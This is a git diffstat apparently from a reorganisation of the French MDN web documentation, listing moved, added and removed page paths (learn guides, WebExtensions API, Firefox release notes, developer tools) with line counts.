files/fr/glossary/whitespace/index.html | 46 + files/fr/glossary/world_wide_web/index.html | 41 + files/fr/glossary/wrapper/index.html | 15 + files/fr/glossary/xforms/index.html | 19 + files/fr/glossary/xhr_(xmlhttprequest)/index.html | 24 + files/fr/glossary/xhtml/index.html | 89 + files/fr/glossary/xinclude/index.html | 159 + files/fr/glossary/xlink/index.html | 30 + files/fr/glossary/xml/index.html | 20 + files/fr/glossary/xpath/index.html | 27 + files/fr/glossary/xquery/index.html | 26 + files/fr/glossary/xslt/index.html | 22 + .../manipulating_video_using_canvas/index.html | 158 - files/fr/inset-block-end/index.html | 126 - files/fr/inset-block-start/index.html | 124 - files/fr/inset-inline-end/index.html | 126 - files/fr/inset-inline-start/index.html | 120 - .../fr/inspecteur_dom/dom_inspector_faq/index.html | 59 - files/fr/inspecteur_dom/index.html | 70 - files/fr/inspecteur_dom/internals/index.html | 242 -- .../introduction_to_dom_inspector/index.html | 96 - files/fr/introduction_(alternative)/index.html | 24 - .../certificats_et_authentification/index.html" | 395 --- .../index.html" | 55 - .../gestion_des_certificats/index.html" | 53 - .../index.html" | 36 - .../signatures_num\303\251riques/index.html" | 30 - .../index.html" | 292 -- files/fr/jeux/anatomie/index.html | 327 -- files/fr/jeux/exemples/index.html | 132 - files/fr/jeux/index.html | 90 - files/fr/jeux/index/index.html | 10 - files/fr/jeux/introduction/index.html | 127 - .../index.html | 106 - .../jeux/publier_jeux/game_monetization/index.html | 100 - files/fr/jeux/publier_jeux/index.html | 28 - .../index.html" | 32 - .../accessibility_troubleshooting/index.html | 117 + .../accessibility/css_and_javascript/index.html | 368 +++ files/fr/learn/accessibility/html/index.html | 530 ++++ files/fr/learn/accessibility/index.html | 56 + files/fr/learn/accessibility/mobile/index.html | 311 ++ files/fr/learn/accessibility/multimedia/index.html | 374 +++ .../learn/accessibility/wai-aria_basics/index.html | 425 +++ .../accessibility/what_is_accessibility/index.html | 198 ++ .../available_text_editors/index.html | 292 ++ .../index.html | 178 ++ .../common_questions/common_web_layouts/index.html | 126 + .../design_for_all_types_of_users/index.html | 247 ++ .../how_does_the_internet_work/index.html | 97 + .../how_much_does_it_cost/index.html | 161 + files/fr/learn/common_questions/index.html | 127 + .../index.html | 98 + .../set_up_a_local_testing_server/index.html | 109 + .../thinking_before_coding/index.html | 186 ++ .../upload_files_to_a_web_server/index.html | 134 + .../common_questions/using_github_pages/index.html | 110 + .../what_are_browser_developer_tools/index.html | 171 ++ .../what_are_hyperlinks/index.html | 96 + .../what_is_a_domain_name/index.html | 162 + .../common_questions/what_is_a_url/index.html | 158 + .../what_is_a_web_server/index.html | 120 + .../what_is_accessibility/index.html | 94 + .../what_software_do_i_need/index.html | 189 ++ .../building_blocks/a_cool_looking_box/index.html | 98 + .../advanced_styling_effects/index.html | 435 +++ .../backgrounds_and_borders/index.html | 318 ++ .../cascade_and_inheritance/index.html | 343 +++ .../creating_fancy_letterheaded_paper/index.html | 112 + .../css/building_blocks/debugging_css/index.html | 202 ++ .../fundamental_css_comprehension/index.html | 137 + .../handling_different_text_directions/index.html | 155 + files/fr/learn/css/building_blocks/index.html | 78 + .../building_blocks/overflowing_content/index.html | 123 + .../selectors/attribute_selectors/index.html | 177 ++ .../selectors/combinators/index.html | 114 + .../learn/css/building_blocks/selectors/index.html | 223 ++ .../pseudo-classes_and_pseudo-elements/index.html | 399 +++ .../type_class_and_id_selectors/index.html | 117 + .../building_blocks/sizing_items_in_css/index.html | 135 + .../css/building_blocks/styling_tables/index.html | 307 ++ .../css/building_blocks/the_box_model/index.html | 354 +++ .../building_blocks/values_and_units/index.html | 392 +++ files/fr/learn/css/css_layout/flexbox/index.html | 341 +++ .../learn/css/css_layout/flexbox_skills/index.html | 99 + files/fr/learn/css/css_layout/floats/index.html | 509 +++ .../fundamental_layout_comprehension/index.html | 81 + files/fr/learn/css/css_layout/grids/index.html | 715 +++++ files/fr/learn/css/css_layout/index.html | 72 + .../learn/css/css_layout/introduction/index.html | 716 +++++ .../css_layout/legacy_layout_methods/index.html | 585 ++++ .../learn/css/css_layout/media_queries/index.html | 425 +++ .../css_layout/multiple-column_layout/index.html | 415 +++ .../fr/learn/css/css_layout/normal_flow/index.html | 108 + .../fr/learn/css/css_layout/positioning/index.html | 558 ++++ .../practical_positioning_examples/index.html | 407 +++ .../css/css_layout/responsive_design/index.html | 334 ++ .../supporting_older_browsers/index.html | 237 ++ .../css/first_steps/qu_est_ce_que_css/index.html | 132 - .../learn/css/first_steps/what_is_css/index.html | 132 + .../learn/css/howto/create_fancy_boxes/index.html | 314 ++ files/fr/learn/css/howto/css_faq/index.html | 246 ++ .../learn/css/howto/generated_content/index.html | 159 + files/fr/learn/css/howto/index.html | 90 + files/fr/learn/css/index.html | 77 + .../learn/css/styling_text/fundamentals/index.html | 756 +++++ .../initiation-mise-en-forme-du-texte/index.html | 756 ----- .../mise_en_forme_des_liens/index.html | 448 --- .../css/styling_text/styling_links/index.html | 448 +++ .../learn/forms/advanced_form_styling/index.html | 469 +++ .../forms/basic_native_form_controls/index.html | 683 +++++ files/fr/learn/forms/form_validation/index.html | 874 ++++++ .../example_1/index.html | 420 +++ .../example_2/index.html | 215 ++ .../example_3/index.html | 247 ++ .../example_4/index.html | 297 ++ .../example_5/index.html | 290 ++ .../how_to_build_custom_form_controls/index.html | 837 +++++ .../how_to_structure_a_web_form/example/index.html | 166 + .../forms/how_to_structure_a_web_form/index.html | 310 ++ .../forms/html_forms_in_legacy_browsers/index.html | 220 ++ files/fr/learn/forms/index.html | 81 + .../index.html | 1991 ++++++++++++ .../sending_and_retrieving_form_data/index.html | 371 +++ .../sending_forms_through_javascript/index.html | 440 +++ files/fr/learn/forms/styling_web_forms/index.html | 391 +++ .../learn/forms/your_first_form/example/index.html | 104 + files/fr/learn/forms/your_first_form/index.html | 281 ++ files/fr/learn/front-end_web_developer/index.html | 189 ++ .../css_basics/index.html | 287 ++ .../dealing_with_files/index.html | 113 + .../how_the_web_works/index.html | 111 + .../html_basics/index.html | 230 ++ .../learn/getting_started_with_the_web/index.html | 62 + .../installing_basic_software/index.html | 76 + .../javascript_basics/index.html | 412 +++ .../publishing_your_website/index.html | 128 + .../the_web_and_web_standards/index.html | 171 ++ .../what_will_your_website_look_like/index.html | 110 + files/fr/learn/html/cheatsheet/index.html | 186 ++ .../add_a_hit_map_on_top_of_an_image/index.html | 126 + .../author_fast-loading_html_pages/index.html | 118 + .../html/howto/define_terms_with_html/index.html | 153 + files/fr/learn/html/howto/index.html | 149 + .../html/howto/use_data_attributes/index.html | 79 + .../use_javascript_within_a_webpage/index.html | 99 + files/fr/learn/html/index.html | 66 + .../advanced_text_formatting/index.html | 682 +++++ .../creating_hyperlinks/index.html | 333 ++ .../introduction_to_html/debugging_html/index.html | 193 ++ .../document_and_website_structure/index.html | 292 ++ .../getting_started/index.html | 736 +++++ .../html_text_fundamentals/index.html | 979 ++++++ .../fr/learn/html/introduction_to_html/index.html | 65 + .../marking_up_a_letter/index.html | 103 + .../structuring_a_page_of_content/index.html | 96 + .../the_head_metadata_in_html/index.html | 286 ++ .../adding_vector_graphics_to_the_web/index.html | 182 ++ .../images_in_html/index.html | 523 ++++ .../learn/html/multimedia_and_embedding/index.html | 71 + .../mozilla_splash_page/index.html | 110 + .../other_embedding_technologies/index.html | 402 +++ .../responsive_images/index.html | 272 ++ .../video_and_audio_content/index.html | 314 ++ files/fr/learn/html/tables/advanced/index.html | 479 +++ files/fr/learn/html/tables/basics/index.html | 579 ++++ files/fr/learn/html/tables/index.html | 43 + .../html/tables/structuring_planet_data/index.html | 72 + files/fr/learn/index.html | 143 + files/fr/learn/index/index.html | 11 + .../build_your_own_function/index.html | 241 ++ .../building_blocks/conditionals/index.html | 630 ++++ .../javascript/building_blocks/events/index.html | 585 ++++ .../building_blocks/functions/index.html | 397 +++ .../building_blocks/image_gallery/index.html | 163 + .../fr/learn/javascript/building_blocks/index.html | 55 + .../building_blocks/looping_code/index.html | 873 ++++++ .../building_blocks/return_values/index.html | 182 ++ .../client-side_storage/index.html | 881 ++++++ .../drawing_graphics/index.html | 922 ++++++ .../client-side_web_apis/fetching_data/index.html | 397 +++ .../javascript/client-side_web_apis/index.html | 51 + .../client-side_web_apis/introduction/index.html | 307 ++ .../manipulating_documents/index.html | 332 ++ .../third_party_apis/index.html | 440 +++ .../video_and_audio_apis/index.html | 518 ++++ .../learn/javascript/first_steps/arrays/index.html | 528 ++++ .../first_steps/methode_chaine_utile/index.html | 479 --- .../javascript/first_steps/tableaux/index.html | 528 ---- .../test_your_skills_colon__arrays/index.html | 87 + .../index.html | 87 - .../first_steps/useful_string_methods/index.html | 479 +++ files/fr/learn/javascript/index.html | 61 + .../adding_bouncing_balls_features/index.html | 208 ++ .../index.html" | 208 -- .../learn/javascript/objects/heritage/index.html | 260 -- .../javascript/objects/inheritance/index.html | 260 ++ .../objects/js_orient\303\251-objet/index.html" | 278 -- .../la_construction_d_objet_en_pratique/index.html | 316 -- .../objects/object-oriented_js/index.html | 278 ++ .../objects/object_building_practice/index.html | 316 ++ .../objects/object_prototypes/index.html | 244 ++ .../javascript/objects/prototypes_objet/index.html | 244 -- .../pourquoi_performance_web/index.html | 101 - .../performance/why_web_performance/index.html | 101 + .../server-side/django/generic_views/index.html | 634 ++++ .../server-side/django/vues_generiques/index.html | 634 ---- .../first_steps/client-server_overview/index.html | 316 ++ files/fr/learn/server-side/first_steps/index.html | 45 + .../first_steps/introduction/index.html | 234 ++ .../first_steps/web_frameworks/index.html | 306 ++ .../first_steps/website_security/index.html | 162 + .../premiers_pas/client-serveur/index.html | 316 -- files/fr/learn/server-side/premiers_pas/index.html | 45 - .../premiers_pas/introduction/index.html | 234 -- .../premiers_pas/web_frameworks/index.html | 306 -- .../premiers_pas/website_security/index.html | 162 - .../cross_browser_testing/accessibility/index.html | 684 +++++ .../accessibilit\303\251/index.html" | 684 ----- .../cross_browser_testing/html_and_css/index.html | 509 +++ .../cross_browser_testing/html_et_css/index.html | 509 --- files/fr/learn/tools_and_testing/github/index.html | 94 + files/fr/learn/tools_and_testing/index.html | 42 + .../command_line/index.html | 487 +++ .../ligne_de_commande/index.html | 487 --- files/fr/localization/index.html | 44 - files/fr/mdn/a_propos/index.html | 30 - files/fr/mdn/about/index.html | 30 + files/fr/mdn/at_ten/history_of_mdn/index.html | 232 ++ files/fr/mdn/at_ten/index.html | 44 + .../index.html" | 45 - .../convert_code_samples_to_be_live/index.html | 30 + .../convertir_code_pour_etre_direct/index.html | 30 - .../index.html | 190 ++ .../index.html | 190 -- .../faire_relecture_redactionnelle/index.html | 55 - .../howto/faire_relecture_technique/index.html | 42 - .../howto/set_the_summary_for_a_page/index.html | 60 - .../index.html | 129 - .../\303\251tiquettes_pages_javascript/index.html" | 74 - files/fr/mdn/editor/basics/index.html | 74 - .../fr/mdn/editor/basics/pieces_jointes/index.html | 74 - files/fr/mdn/editor/index.html | 226 -- files/fr/mdn/guidelines/code_guidelines/index.html | 77 + .../guidelines/code_lignesdirectrices/index.html | 77 - files/fr/mdn/kuma/index.html | 24 - .../conversations/index.html" | 56 - .../doc_sprints/index.html" | 133 - .../mdn/rejoindre_la_communaut\303\251/index.html" | 51 - .../whats_happening/index.html" | 42 - .../mdn/structures/compatibility_tables/index.html | 503 +++ files/fr/mdn/structures/exemples_live/index.html | 250 -- files/fr/mdn/structures/live_samples/index.html | 250 ++ .../tables_de_compatibilit\303\251/index.html" | 503 --- files/fr/mdn/tools/template_editing/index.html | 15 - files/fr/mdn/user_guide/index.html | 14 - files/fr/mdn/yari/index.html | 24 + .../contribuer_\303\240_mdn/index.html" | 90 - files/fr/mdn_a_dix_ans/histoire_mdn/index.html | 232 -- files/fr/mdn_a_dix_ans/index.html | 44 - .../index.html" | 95 - .../index.html" | 47 - .../index.html" | 219 -- .../add_a_button_to_the_toolbar/index.html | 224 ++ .../index.html | 224 -- .../index.html" | 219 -- .../add-ons_for_desktop_apps/index.html | 30 - .../add-ons_in_the_enterprise/index.html | 166 - .../alternative_distribution_options/index.html | 68 - .../sideloading_add-ons/index.html | 134 - .../api/browsersettings/proxyconfig/index.html | 73 - .../api/devtools.inspectedwindow/eval/index.html | 219 -- .../api/devtools.inspectedwindow/index.html | 82 - .../api/devtools.inspectedwindow/reload/index.html | 100 - .../api/devtools.inspectedwindow/tabid/index.html | 85 - .../api/devtools.network/gethar/index.html | 88 - .../webextensions/api/devtools.network/index.html | 75 - .../api/devtools.network/onnavigated/index.html | 103 - .../devtools.network/onrequestfinished/index.html | 112 - .../api/devtools.panels/create/index.html | 110 - .../api/devtools.panels/elements/index.html | 29 - .../elementspanel/createsidebarpane/index.html | 107 - .../api/devtools.panels/elementspanel/index.html | 73 - .../elementspanel/onselectionchanged/index.html | 74 - .../api/devtools.panels/extensionpanel/index.html | 93 - .../extensionsidebarpane/index.html | 89 - .../extensionsidebarpane/onhidden/index.html | 80 - .../extensionsidebarpane/onshown/index.html | 78 - .../extensionsidebarpane/setexpression/index.html | 106 - .../extensionsidebarpane/setobject/index.html | 104 - .../extensionsidebarpane/setpage/index.html | 89 - .../webextensions/api/devtools.panels/index.html | 103 - .../api/devtools.panels/onthemechanged/index.html | 72 - .../api/devtools.panels/themename/index.html | 39 - .../api/devtools/inspectedwindow/eval/index.html | 219 ++ .../api/devtools/inspectedwindow/index.html | 82 + .../api/devtools/inspectedwindow/reload/index.html | 100 + .../api/devtools/inspectedwindow/tabid/index.html | 85 + .../api/devtools/network/gethar/index.html | 88 + .../webextensions/api/devtools/network/index.html | 75 + .../api/devtools/network/onnavigated/index.html | 103 + .../devtools/network/onrequestfinished/index.html | 112 + .../api/devtools/panels/create/index.html | 110 + .../api/devtools/panels/elements/index.html | 29 + .../elementspanel/createsidebarpane/index.html | 107 + .../api/devtools/panels/elementspanel/index.html | 73 + .../elementspanel/onselectionchanged/index.html | 74 + .../api/devtools/panels/extensionpanel/index.html | 93 + .../panels/extensionsidebarpane/index.html | 89 + .../extensionsidebarpane/onhidden/index.html | 80 + .../panels/extensionsidebarpane/onshown/index.html | 78 + .../extensionsidebarpane/setexpression/index.html | 106 + .../extensionsidebarpane/setobject/index.html | 104 + .../panels/extensionsidebarpane/setpage/index.html | 89 + .../webextensions/api/devtools/panels/index.html | 103 + .../api/devtools/panels/onthemechanged/index.html | 72 + .../api/devtools/panels/themename/index.html | 39 + .../api/menus/menus.overridecontext()/index.html | 62 - .../webextensions/api/proxy/onerror/index.html | 60 + .../api/proxy/onproxyerror/index.html | 60 - .../webextensions/api/proxy/settings/index.html | 73 + .../api/userscripts/apiscript/index.html | 43 - .../registereduserscript.unregister()/index.html | 49 - .../travailler_avec_userscripts/index.html | 115 - .../working_with_userscripts/index.html | 115 + .../index.html | 31 - .../browser_support_for_javascript_apis/index.html | 24 + .../build_a_cross_browser_extension/index.html | 252 ++ .../index.html | 218 -- .../chrome_incompatibilities/index.html | 179 ++ .../comparaison_avec_le_sdk_add-on/index.html | 746 ----- .../index.html" | 24 - .../webextensions/compte_developpeurs/index.html | 26 - .../index.html | 252 -- .../debogage_(avant_firefox_50)/index.html | 236 -- .../debugging_(before_firefox_50)/index.html | 236 ++ .../demander_les_bonnes_permissions/index.html | 367 --- .../demandes_de_permission/index.html | 134 - .../index.html | 77 + .../index.html | 77 - .../add-ons/webextensions/examples/index.html | 33 + .../add-ons/webextensions/exemples/index.html | 33 - .../index.html | 190 -- .../extending_the_developer_tools/index.html | 166 + .../index.html | 166 - .../implement_a_settings_page/index.html | 219 ++ .../incompatibilit\303\251s_chrome/index.html" | 179 -- .../index.html | 103 - .../index.html | 56 - .../interact_with_the_clipboard/index.html | 189 ++ .../interagir_avec_le_presse_papier/index.html | 189 -- .../intercept_http_requests/index.html | 160 + .../intercepter_requ\303\252tes_http/index.html" | 160 - .../manifest.json/arriere-plan/index.html | 93 - .../webextensions/manifest.json/auteur/index.html | 44 - .../webextensions/manifest.json/author/index.html | 44 + .../manifest.json/background/index.html | 93 + .../manifest.json/theme_experiment/index.html | 194 ++ .../manifest.json/theme_experimentation/index.html | 194 -- .../webextensions/manifests_native/index.html | 309 -- .../webextensions/native_manifests/index.html | 309 ++ .../index.html | 258 -- .../index.html | 85 - .../publishing_your_webextension/index.html | 58 - .../webextensions/que_faire_ensuite/index.html | 72 - .../index.html | 44 - .../index.html | 103 + .../securite_bonne_pratique/index.html | 63 - .../sharing_objects_with_page_scripts/index.html | 258 ++ .../index.html | 124 - .../index.html | 169 - .../travailler_avec_l_api_cookies/index.html | 254 -- .../travailler_avec_l_api_tabs/index.html | 628 ---- .../user_interface/barres_laterales/index.html | 61 - .../user_interface/context_menu_items/index.html | 59 + .../user_interface/devtools_panels/index.html | 74 + .../elements_menu_contextuel/index.html | 59 - .../user_interface/extension_pages/index.html | 77 + .../index.html | 153 - .../user_interface/pages_web_incluses/index.html | 77 - .../user_interface/panneaux_devtools/index.html | 74 - .../user_interface/sidebars/index.html | 61 + .../add-ons/webextensions/what_next_/index.html | 72 + .../work_with_contextual_identities/index.html | 169 + .../work_with_the_cookies_api/index.html | 254 ++ .../working_with_the_tabs_api/index.html | 628 ++++ .../index.html | 94 - .../developer_guide/build_instructions/index.html | 108 + .../developer_guide/introduction/index.html | 24 + .../so_you_just_built_firefox/index.html | 10 + .../index.html | 10 - .../index.html | 33 + files/fr/mozilla/firefox/releases/1.5/index.html | 125 + .../1.5/using_firefox_1.5_caching/index.html | 195 ++ files/fr/mozilla/firefox/releases/11/index.html | 144 + files/fr/mozilla/firefox/releases/12/index.html | 162 + files/fr/mozilla/firefox/releases/13/index.html | 145 + files/fr/mozilla/firefox/releases/15/index.html | 114 + files/fr/mozilla/firefox/releases/16/index.html | 88 + files/fr/mozilla/firefox/releases/17/index.html | 87 + .../releases/17/site_compatibility/index.html | 12 + files/fr/mozilla/firefox/releases/18/index.html | 92 + .../releases/18/site_compatibility/index.html | 12 + files/fr/mozilla/firefox/releases/19/index.html | 82 + .../releases/19/site_compatibility/index.html | 12 + files/fr/mozilla/firefox/releases/2/index.html | 149 + .../firefox/releases/2/security_changes/index.html | 32 + .../releases/2/updating_extensions/index.html | 47 + files/fr/mozilla/firefox/releases/20/index.html | 75 + .../releases/20/site_compatibility/index.html | 12 + files/fr/mozilla/firefox/releases/21/index.html | 141 + .../releases/21/site_compatibility/index.html | 12 + files/fr/mozilla/firefox/releases/22/index.html | 72 + .../releases/22/site_compatibility/index.html | 12 + files/fr/mozilla/firefox/releases/23/index.html | 85 + .../releases/23/site_compatibility/index.html | 12 + files/fr/mozilla/firefox/releases/24/index.html | 77 + .../releases/24/site_compatibility/index.html | 13 + files/fr/mozilla/firefox/releases/3.5/index.html | 233 ++ files/fr/mozilla/firefox/releases/3.6/index.html | 297 ++ .../firefox/releases/3/dom_improvements/index.html | 35 + .../firefox/releases/3/full_page_zoom/index.html | 42 + files/fr/mozilla/firefox/releases/3/index.html | 272 ++ .../releases/3/notable_bugs_fixed/index.html | 35 + .../releases/3/site_compatibility/index.html | 80 + .../firefox/releases/3/svg_improvements/index.html | 65 + .../releases/3/updating_extensions/index.html | 219 ++ .../3/updating_web_applications/index.html | 95 + .../3/xul_improvements_in_firefox_3/index.html | 95 + files/fr/mozilla/firefox/releases/35/index.html | 197 ++ .../releases/35/site_compatibility/index.html | 13 + files/fr/mozilla/firefox/releases/4/index.html | 640 ++++ files/fr/mozilla/firefox/releases/40/index.html | 198 ++ .../releases/40/site_compatibility/index.html | 13 + files/fr/mozilla/firefox/releases/41/index.html | 198 ++ .../releases/41/site_compatibility/index.html | 13 + files/fr/mozilla/firefox/releases/5/index.html | 168 + files/fr/mozilla/firefox/releases/50/index.html | 198 ++ files/fr/mozilla/firefox/releases/59/index.html | 204 ++ files/fr/mozilla/firefox/releases/6/index.html | 290 ++ files/fr/mozilla/firefox/releases/63/index.html | 275 ++ files/fr/mozilla/firefox/releases/65/index.html | 249 ++ files/fr/mozilla/firefox/releases/68/index.html | 245 ++ files/fr/mozilla/firefox/releases/69/index.html | 139 + files/fr/mozilla/firefox/releases/7/index.html | 239 ++ files/fr/mozilla/firefox/releases/70/index.html | 111 + files/fr/mozilla/firefox/releases/76/index.html | 114 + files/fr/mozilla/firefox/releases/77/index.html | 117 + files/fr/mozilla/firefox/releases/8/index.html | 255 ++ files/fr/mozilla/firefox/releases/9/index.html | 233 ++ files/fr/mozilla/firefox/releases/index.html | 13 + files/fr/mozilla/firefox/versions/1.5/index.html | 125 - files/fr/mozilla/firefox/versions/11/index.html | 144 - files/fr/mozilla/firefox/versions/12/index.html | 162 - files/fr/mozilla/firefox/versions/13/index.html | 145 - files/fr/mozilla/firefox/versions/15/index.html | 114 - files/fr/mozilla/firefox/versions/16/index.html | 88 - files/fr/mozilla/firefox/versions/17/index.html | 87 - .../versions/17/site_compatibility/index.html | 12 - files/fr/mozilla/firefox/versions/18/index.html | 92 - .../versions/18/site_compatibility/index.html | 12 - files/fr/mozilla/firefox/versions/19/index.html | 82 - .../versions/19/site_compatibility/index.html | 12 - files/fr/mozilla/firefox/versions/2/index.html | 149 - files/fr/mozilla/firefox/versions/20/index.html | 75 - .../versions/20/site_compatibility/index.html | 12 - files/fr/mozilla/firefox/versions/21/index.html | 141 - .../versions/21/site_compatibility/index.html | 12 - files/fr/mozilla/firefox/versions/22/index.html | 72 - .../versions/22/site_compatibility/index.html | 12 - files/fr/mozilla/firefox/versions/23/index.html | 85 - .../versions/23/site_compatibility/index.html | 12 - files/fr/mozilla/firefox/versions/24/index.html | 77 - .../versions/24/site_compatibility/index.html | 13 - files/fr/mozilla/firefox/versions/3.5/index.html | 233 -- files/fr/mozilla/firefox/versions/3.6/index.html | 297 -- files/fr/mozilla/firefox/versions/3/index.html | 272 -- files/fr/mozilla/firefox/versions/35/index.html | 197 -- .../versions/35/site_compatibility/index.html | 13 - files/fr/mozilla/firefox/versions/4/index.html | 640 ---- files/fr/mozilla/firefox/versions/40/index.html | 198 -- .../versions/40/site_compatibility/index.html | 13 - files/fr/mozilla/firefox/versions/41/index.html | 198 -- .../versions/41/site_compatibility/index.html | 13 - files/fr/mozilla/firefox/versions/5/index.html | 168 - files/fr/mozilla/firefox/versions/50/index.html | 198 -- files/fr/mozilla/firefox/versions/59/index.html | 204 -- files/fr/mozilla/firefox/versions/6/index.html | 290 -- files/fr/mozilla/firefox/versions/63/index.html | 275 -- files/fr/mozilla/firefox/versions/65/index.html | 249 -- files/fr/mozilla/firefox/versions/68/index.html | 245 -- files/fr/mozilla/firefox/versions/69/index.html | 139 - files/fr/mozilla/firefox/versions/7/index.html | 239 -- files/fr/mozilla/firefox/versions/70/index.html | 111 - files/fr/mozilla/firefox/versions/76/index.html | 114 - files/fr/mozilla/firefox/versions/77/index.html | 117 - files/fr/mozilla/firefox/versions/8/index.html | 255 -- files/fr/mozilla/firefox/versions/9/index.html | 233 -- files/fr/mozilla/firefox/versions/index.html | 13 - .../fr/navigatorusermedia.getusermedia/index.html | 194 -- files/fr/npapi/constantes/index.html | 92 - .../certificats_et_authentification/index.html" | 395 +++ .../index.html" | 55 + .../gestion_des_certificats/index.html" | 53 + .../index.html" | 36 + .../signatures_num\303\251riques/index.html" | 30 + .../fr/orphaned/learn/how_to_contribute/index.html | 85 + .../mdn/community/conversations/index.html | 56 + .../orphaned/mdn/community/doc_sprints/index.html | 133 + files/fr/orphaned/mdn/community/index.html | 51 + .../mdn/community/whats_happening/index.html | 42 + .../howto/create_an_mdn_account/index.html | 45 + .../howto/do_a_technical_review/index.html | 42 + .../howto/do_an_editorial_review/index.html | 55 + .../howto/set_the_summary_for_a_page/index.html | 60 + .../howto/tag_javascript_pages/index.html | 74 + .../index.html | 129 + .../mdn/editor/basics/attachments/index.html | 74 + files/fr/orphaned/mdn/editor/basics/index.html | 74 + files/fr/orphaned/mdn/editor/index.html | 226 ++ .../orphaned/mdn/tools/template_editing/index.html | 15 + .../api/userscripts/apiscript/index.html | 43 + .../index.html | 31 + .../index.html | 218 ++ .../comparison_with_the_add-on_sdk/index.html | 746 +++++ .../webextensions/developer_accounts/index.html | 26 + .../add-ons_for_desktop_apps/index.html | 30 + .../add-ons_in_the_enterprise/index.html | 166 + .../webextensions/distribution_options/index.html | 68 + .../sideloading_add-ons/index.html | 134 + .../package_your_extension_/index.html | 58 + .../porting_a_legacy_firefox_add-on/index.html | 85 + .../request_the_right_permissions/index.html | 367 +++ .../security_best_practices/index.html | 63 + .../temporary_installation_in_firefox/index.html | 56 + .../test_permission_requests/index.html | 134 + .../index.html | 124 + .../user_experience_best_practices/index.html | 190 ++ .../accessibility_guidelines/index.html | 153 + .../index.html | 44 + .../index.html | 94 + .../dom_inspector/dom_inspector_faq/index.html | 59 + .../tools/add-ons/dom_inspector/index.html | 70 + .../add-ons/dom_inspector/internals/index.html | 242 ++ .../introduction_to_dom_inspector/index.html | 96 + files/fr/orphaned/tools/add-ons/index.html | 13 + files/fr/orphaned/tools/css_coverage/index.html | 147 + .../limitations_of_the_new_debugger/index.html | 19 + .../disable_breakpoints/index.html | 24 + .../how_to/access_debugging_in_add-ons/index.html | 32 + .../how_to/black_box_a_source/index.html | 28 + .../how_to/break_on_a_dom_event/index.html | 22 + .../how_to/debug_eval_sources/index.html | 36 + .../how_to/disable_breakpoints/index.html | 24 + .../index.html | 49 + .../highlight_and_inspect_dom_nodes/index.html | 16 + .../debugger_(before_firefox_52)/how_to/index.html | 8 + .../how_to/open_the_debugger/index.html | 21 + .../how_to/pretty-print_a_minified_file/index.html | 16 + .../how_to/search_and_filter/index.html | 74 + .../how_to/set_a_breakpoint/index.html | 29 + .../how_to/set_a_conditional_breakpoint/index.html | 22 + .../how_to/step_through_code/index.html | 23 + .../how_to/use_a_source_map/index.html | 20 + .../tools/debugger_(before_firefox_52)/index.html | 55 + .../keyboard_shortcuts/index.html | 16 + .../settings/index.html | 63 + .../ui_tour/index.html | 134 + files/fr/orphaned/web/api/entity/index.html | 114 + .../fr/orphaned/web/api/entityreference/index.html | 93 + files/fr/orphaned/web/api/namelist/index.html | 52 + files/fr/orphaned/web/css/@media/index/index.html | 12 + files/fr/orphaned/web/css/index/index.html | 10 + .../orphaned/web/html/element/command/index.html | 117 + .../orphaned/web/html/element/element/index.html | 73 + .../web/html/global_attributes/dropzone/index.html | 48 + .../global_objects/array/prototype/index.html | 181 ++ .../asyncfunction/prototype/index.html | 61 + .../global_objects/bigint/prototype/index.html | 63 + .../information_security_basics/index.html | 60 + .../objet_components/index.html | 181 ++ .../reference/standard_xpcom_components/index.html | 7 + .../index.html | 211 -- files/fr/outils/about_colon_debugging/index.html | 211 -- .../accessing_the_developer_tools/index.html | 21 - files/fr/outils/add-ons/index.html | 13 - .../index.html" | 77 - files/fr/outils/console_javascript/index.html | 195 -- .../outils/console_web/console_messages/index.html | 469 --- .../outils/console_web/fonctions_d_aide/index.html | 82 - files/fr/outils/console_web/index.html | 47 - .../console_web/keyboard_shortcuts/index.html | 12 - .../console_web/opening_the_web_console/index.html | 29 - files/fr/outils/console_web/rich_output/index.html | 77 - .../fr/outils/console_web/split_console/index.html | 20 - .../the_command_line_interpreter/index.html | 161 - files/fr/outils/couleurs_des_devtools/index.html | 331 -- files/fr/outils/css_coverage/index.html | 147 - .../disable_breakpoints/index.html | 24 - .../how_to/access_debugging_in_add-ons/index.html | 32 - .../how_to/black_box_a_source/index.html | 28 - .../how_to/break_on_a_dom_event/index.html | 22 - .../how_to/debug_eval_sources/index.html | 36 - .../how_to/disable_breakpoints/index.html | 24 - .../index.html | 49 - .../highlight_and_inspect_dom_nodes/index.html | 16 - .../debugger_(before_firefox_52)/how_to/index.html | 8 - .../how_to/open_the_debugger/index.html | 21 - .../how_to/pretty-print_a_minified_file/index.html | 16 - .../how_to/search_and_filter/index.html | 74 - .../how_to/set_a_breakpoint/index.html | 29 - .../how_to/set_a_conditional_breakpoint/index.html | 22 - .../how_to/step_through_code/index.html | 23 - .../how_to/use_a_source_map/index.html | 20 - .../outils/debugger_(before_firefox_52)/index.html | 55 - .../keyboard_shortcuts/index.html | 16 - .../settings/index.html | 63 - .../ui_tour/index.html | 134 - files/fr/outils/devtoolsapi/index.html | 835 ----- files/fr/outils/dom_property_viewer/index.html | 46 - .../chrome_desktop/index.html" | 49 - .../debugging_firefox_desktop/index.html" | 44 - .../index.html" | 70 - .../fr/outils/d\303\251bogage_distant/index.html" | 20 - .../thunderbird/index.html" | 44 - .../index.html" | 26 - .../index.html" | 16 - .../ajouter_un_point_d_arr\303\252t/index.html" | 45 - .../index.html" | 16 - .../comment/breaking_on_exceptions/index.html" | 28 - .../index.html" | 29 - .../index.html" | 16 - .../index.html" | 49 - .../index.html" | 20 - .../fr/outils/d\303\251bogueur/comment/index.html" | 12 - .../index.html" | 24 - .../comment/ouvrir_le_d\303\251bogueur/index.html" | 20 - .../comment/parcourir_le_code/index.html" | 25 - .../index.html" | 25 - .../d\303\251bogueur/comment/search/index.html" | 30 - .../comment/set_watch_expressions/index.html" | 18 - .../comment/utiliser_une_source_map/index.html" | 32 - "files/fr/outils/d\303\251bogueur/index.html" | 57 - .../limitations_of_the_new_debugger/index.html" | 19 - .../raccourcis_clavier/index.html" | 12 - .../set_an_xhr_breakpoint/index.html" | 31 - .../d\303\251bogueur/source_map_errors/index.html" | 61 - .../index.html" | 125 - files/fr/outils/editeur_de_shaders/index.html | 63 - files/fr/outils/editeur_web_audio/index.html | 71 - .../outils/firefox_os_simulator_clone/index.html | 88 - files/fr/outils/frise_chronologique/index.html | 25 - files/fr/outils/index.html | 225 -- files/fr/outils/index/index.html | 8 - files/fr/outils/inspecteur/3-pane_mode/index.html | 65 - .../comment/edition_filtres_css/index.html | 37 - .../comment/examine_grid_layouts/index.html | 125 - 